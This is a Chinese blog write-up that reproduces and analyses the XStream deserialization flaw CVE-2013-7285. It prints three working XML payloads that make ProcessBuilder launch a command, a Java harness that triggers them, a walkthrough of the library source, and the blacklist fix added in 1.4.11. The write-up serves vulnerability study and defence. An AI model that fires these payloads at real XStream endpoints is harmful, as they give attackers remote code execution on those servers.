• 『Java安全』XStream 1.4-1.4.6&1.4.10反序列化漏洞CVE-2013-7285复现与浅析


    前言

    XStream很贴心的列出了所有cve

    https://x-stream.github.io/security.html
    在这里插入图片描述

    漏洞简介

    当XStream反序列化了一个动态代理类,再调用该动态代理类所声明的接口的方法时,就能够触发任意命令执行

    XStream序列化和反序列化分析:https://ho1aas.blog.csdn.net/article/details/126250860
    动态代理:https://ho1aas.blog.csdn.net/article/details/121647387

    影响版本

    XStream 1.4-1.4.6、1.4.10

    PoC

    主流的PoC有以下三种:但原理都一样的

    interface(官方PoC)

    interface是包含至少一个方法的任意public接口

    <contact class='dynamic-proxy'>
        <interface>java.lang.Runnableinterface>
        <handler class='java.beans.EventHandler'>
            <target class='java.lang.ProcessBuilder'>
                <command>
                    <string>calcstring>
                command>
            target>
            <action>startaction>
        handler>
    contact>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    sorted-set

    <sorted-set>
        <string>foostring>
        <contact class='dynamic-proxy'>
    	    <interface>java.lang.Comparableinterface>
    	    <handler class='java.beans.EventHandler'>
    	        <target class='java.lang.ProcessBuilder'>
    	            <command>
    	                <string>calcstring>
    	            command>
    	        target>
    	        <action>startaction>
    	    handler>
    	contact>
    sorted-set>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    tree-map

    <tree-map>
        <entry>
            <string>fookeystring>
            <string>foovaluestring>
        entry>
        <entry>
            <contact class='dynamic-proxy'>
    		    <interface>java.lang.Comparableinterface>
    		    <handler class='java.beans.EventHandler'>
    		        <target class='java.lang.ProcessBuilder'>
    		            <command>
    		                <string>calcstring>
    		            command>
    		        target>
    		        <action>startaction>
    		    handler>
    		contact>
            <string>goodstring>
        entry>
    tree-map>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    漏洞复现

    对于官方PoC需要手动调用反序列化对象的interface里面声明的方法

    package OneFourSix;
    
    import com.thoughtworks.xstream.XStream;
    import java.io.FileInputStream;
    import java.io.FileNotFoundException;
    
    public class Main {
        public static void main(String[] args) throws FileNotFoundException {
            FileInputStream fis = new FileInputStream("payload.xml");
            XStream xStream = new XStream();
            Runnable r = (Runnable) xStream.fromXML(fis);
            
            r.run();
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    其他两个直接触发即可

    代码审计 | 原理分析

    interface

    首先HierarchicalStreams.readClassType获取序列化对象的类

    在这里插入图片描述
    调用readClassAttribute获取标签,然后根据标签调用mapper.realClass获取Class对象

    在这里插入图片描述
    跟进,mapper是自子类向上到父类查找的,来到DynamicProxyMapper.realClass()动态代理类的标签别名是dynamic-proxy,于是返回了动态代理类对象

    在这里插入图片描述
    返回之前还把查找结果缓存起来了

    在这里插入图片描述
    回到主方法,接下来就是反序列化的关键步骤

    在这里插入图片描述
    获取动态代理类的converter

    在这里插入图片描述
    之后就是反序列化流程,具体可以看我上一篇博客关于源码分析,最后反序列化了一个动态代理类

    在这里插入图片描述
    由于加入了EventHandler监听器,动态代理类指定了接口,因此调用该接口的方法前就会触发eventHandler(动态代理),因为此时的接口实现类是被handler所持有,先调用eventHandler的方法

    在这里插入图片描述

    缺点

    有个非常大的缺点就是:如何在目标调用接口的方法,或者说不知道目标会调用哪个接口的哪个方法,因为监听接口调用方法才能触发。sorted-set和tree-map解决了这个问题。

    sorted-set和tree-map

    俩payload原理是一致的,在反序列化过程中:对于set和map对象,首先实例化其中的元素,再把它们添加进set和map,在添加过程中遵守定义,会调用java.lang.Comparable接口的compareTo方法比较元素。所以添加一个其他元素和一个动态代理类在set、map中,添加的时候就会触发compareTo方法比较,进而触发handler的target.action。这就解决了找接口的问题

    首先识别到了SortedSet类

    在这里插入图片描述
    对应的converter是TreeSetConverter

    在这里插入图片描述
    之后跟到TreeSetConverter.unmarshal()来到populateTreeMap

    在这里插入图片描述
    实例化空map

    在这里插入图片描述
    把第一个元素缓存到了map里面

    在这里插入图片描述
    然后调用populateMap

    在这里插入图片描述
    之后就是循环取出第1个之后的所有元素存到sortedMap,这里取到的子元素在addCurrentElementToCollection方法中已经反序列化完毕了,细节可以看看该方法

    在这里插入图片描述
    这里有点乱,总而言之经过populateMap方法,标签里面的所有对象都已经被反序列化取出来存放在sortedMap里面了
    在这里插入图片描述
    这个sortedMap只是一个缓存的地方,真正的返回值是TreeSet。之后判断JVM是否全部缓存好元素了,然后把sortedMap的缓存元素全部放入TreeSet作为反序列化的返回对象
    在这里插入图片描述
    在TreeMap的putAll方法中,调用了compareTo方法,比较了第二个动态代理类和第一个key String

    在这里插入图片描述
    流程总结:

    1. 依次反序列化子元素
    2. 存入set、map的过程中调用了compareTo

    通过复合对象的特性从而触发了RCE

    新版本修复分析

    1.4.11运行,安全报警

    在这里插入图片描述
    在convertAnother后加入了一个InternalBlackList,是一个converter,黑名单过滤危险类
    在这里插入图片描述

        private class InternalBlackList implements Converter {
            private InternalBlackList() {
            }
    
            public boolean canConvert(Class type) {
                return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
            }
            public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
                throw new ConversionException("Security alert. Marshalling rejected.");
            }
    
            public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
                throw new ConversionException("Security alert. Unmarshalling rejected.");
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    直接把这几个类拉黑了,匹配到这几个类直接抛出异常,,因此在动态代理反序列化handler的时候直接就ban了

    安全框架

    https://x-stream.github.io/security.html#framework

    另外官方还开发了安全框架,提供黑白名单机制让开发者自由选择可反序列化类

    参考

    https://x-stream.github.io/CVE-2013-7285.html
    https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
    http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/

    欢迎关注我的CSDN博客 :@Ho1aAs
    版权属于:Ho1aAs
    本文链接:https://ho1aas.blog.csdn.net/article/details/126297121
    版权声明:本文为原创,转载时须注明出处及本声明

  • 相关阅读:
    Dify配置https协议
    什么是漂亮排序算法:一顿操作很装逼,一看性能二点七
    vue实现按需加载的多种方式
    (附源码)springboot炼糖厂地磅全自动控制系统 毕业设计 341357
    第14章 JVM(一)
    Prime Path(广度优先搜索)
    切分支解决切不走因为未合并的路径如何解决
    BUUCTF·[WUSTCTF2020]B@se1·WP
    论文阅读 Self-Mimic Learning for Small-scale Pedestrian Detection
    Monkey测试
  • 原文地址:https://blog.csdn.net/Xxy605/article/details/126297121